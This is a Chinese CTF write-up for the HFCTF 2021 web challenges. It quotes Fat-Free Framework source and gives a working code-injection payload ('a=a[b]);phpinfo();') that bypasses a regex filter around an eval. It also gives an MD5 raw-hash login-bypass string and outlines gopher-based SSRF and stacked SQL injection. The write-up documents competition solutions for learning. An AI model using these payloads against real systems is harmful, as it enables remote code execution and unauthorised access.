虎符ctf2021 web writeup

原创

ByNotD0g 于 2021-04-09 16:15:47 发布 347 收藏 1

1.签到

https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
php git仓库后门

2.unsetme

源码

```php
<?php
// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',0);
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');

// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);

$f3->run();
```

看题目可以知道用了f3框架，而f3框架3.7.1版本有RCE漏洞 CVE-2020-5203
一开始以为复现原漏洞就行了，后来在/lib/CHANGELOG.md中发现他用的是3.7.2的版本
在原来RCE的地方加了正则过滤，但试了一下发现也可以绕过
关键代码在lib/base.php下

```
function compile($str, $evaluate=TRUE) {
  return (!$evaluate)
   ? preg_replace_callback(
    '/^@(\w+)((?:\..+|\[(?:(?:[^\[\]]*|(?R))*)\])*)/',
    function($expr) {
     $str='$'.$expr[1];
     if (isset($expr[2]))
      $str.=preg_replace_callback(
       '/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/',
       function($sub) {
        $val=isset($sub[2]) ? $sub[2] : $sub[1];
        if (ctype_digit($val))
         $val=(int)$val;
        $out='['.$this->export($val).']';
        return $out;
       },
       $expr[2]
      );
     return $str;
    },
    $str
   )
   : preg_replace_callback(
   '/(?<!\w)@(\w+(?:(?:\->|::)\w+)?)'.
   '((?:\.\w+|\[(?:(?:[^\[\]]*|(?R))*)\]|(?:\->|::)\w+|\()*)/',
   function($expr) {
    $str='$'.$expr[1];
    if (isset($expr[2]))
     $str.=preg_replace_callback(
      '/\.(\w+)(\()?|\[((?:[^\[\]]*|(?R))*)\]/',
      function($sub) {
       if (empty($sub[2])) {
        if (ctype_digit($sub[1]))
         $sub[1]=(int)$sub[1];
        $out='['.
         (isset($sub[3])?
          $this->compile($sub[3]):
          $this->export($sub[1])).
        ']';
       }
       else
        $out=function_exists($sub[1])?
         $sub[0]:
         ('['.$this->export($sub[1]).']'.$sub[2]);
       return $out;
      },
      $expr[2]
     );
    return $str;
   },
   $str
  );
}
```

compile是修改后加了过滤函数的地方

```
function __unset($key) {
 $this->offsetunset($key);
}
function clear($key) {
 // Normalize array literal
 $cache=Cache::instance();
 $parts=$this->cut($key);
 if ($key=='CACHE')
  // Clear cache contents
  $cache->reset();
 elseif (preg_match('/^(GET|POST|COOKIE)\b(.+)/',$key,$expr)) {
  $this->clear('REQUEST'.$expr[2]);
  if ($expr[1]=='COOKIE') {
   $parts=$this->cut($key);
   $jar=$this->hive['JAR'];
   unset($jar['lifetime']);
   $jar['expire']=0;
   if (version_compare(PHP_VERSION, '7.3.0') >= 0) {
    $jar['expires']=$jar['expire'];
    unset($jar['expire']);
    setcookie($parts[1],NULL,$jar);
   } else {
    unset($jar['samesite']);
    call_user_func_array('setcookie',
     array_merge([$parts[1],NULL],$jar));
   }
   unset($_COOKIE[$parts[1]]);
  }
 }
 elseif ($parts[0]=='SESSION') {
  if (!headers_sent() && session_status()!=PHP_SESSION_ACTIVE)
   session_start();
  if (empty($parts[1])) {
   // End session
   session_unset();
   session_destroy();
   $this->clear('COOKIE.'.session_name());
  }
  $this->sync('SESSION');
 }
 if (!isset($parts[1]) && array_key_exists($parts[0],$this->init))
  // Reset global to default value
  $this->hive[$parts[0]]=$this->init[$parts[0]];
 else {
  $val=preg_replace('/^(\$hive)/','$this->hive',
   $this->compile('@hive.'.$key, FALSE));
  eval('unset('.$val.');');
  if ($parts[0]=='SESSION') {
   session_commit();
   session_start();
  }
  if ($cache->exists($hash=$this->hash($key).'.var'))
   // Remove from cache
   $cache->clear($hash);
 }
}
```

这里是执行RCE的地方，和3.7.1比没有修改
我们已知使用unset()销毁并不能销毁的变量时会调用__unset()方法，这里会把我们传入的参数赋值到$key，经过过滤后执行eval，可以发现eval处只是简单的字符串拼接，用分号闭合后就可以在后面构造代码进行RCE了
compile处最后返回的$str是@hive.xxxxx的形式
主要看一下第二个正则`/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/`
这里匹配的是以`.`开始后面是字符串加`[]`的形式或`[]`包裹字符串的形式
这里我们get传入`a=a[b]);phpinfo();`
解析后就会变成`unset($this->hive[a][b]);phpinfo();//`

3.慢慢做管理系统

第一步md5万能密码登录admin，这里过滤了ffifdyop
可以用129581926211651571912466741651878684928登录
然后要用内网gopher打admin.php
这里给的输入框一开始我以为是构造好的gopher协议...就填目标url就行...
结果大佬试了一下发现不对，这里应该只是个curl，要自己加上`gopher://`的头
然后用gopher构造post请求，网上教程有很多，需要注意的是这里发上去的请求一定要包含`Content-Type`和`Content-Length`不然会报错
这里随便贴一篇大佬写的构造post请求的博客
https://blog.csdn.net/weixin_45887311/article/details/107327706
后面是堆叠注入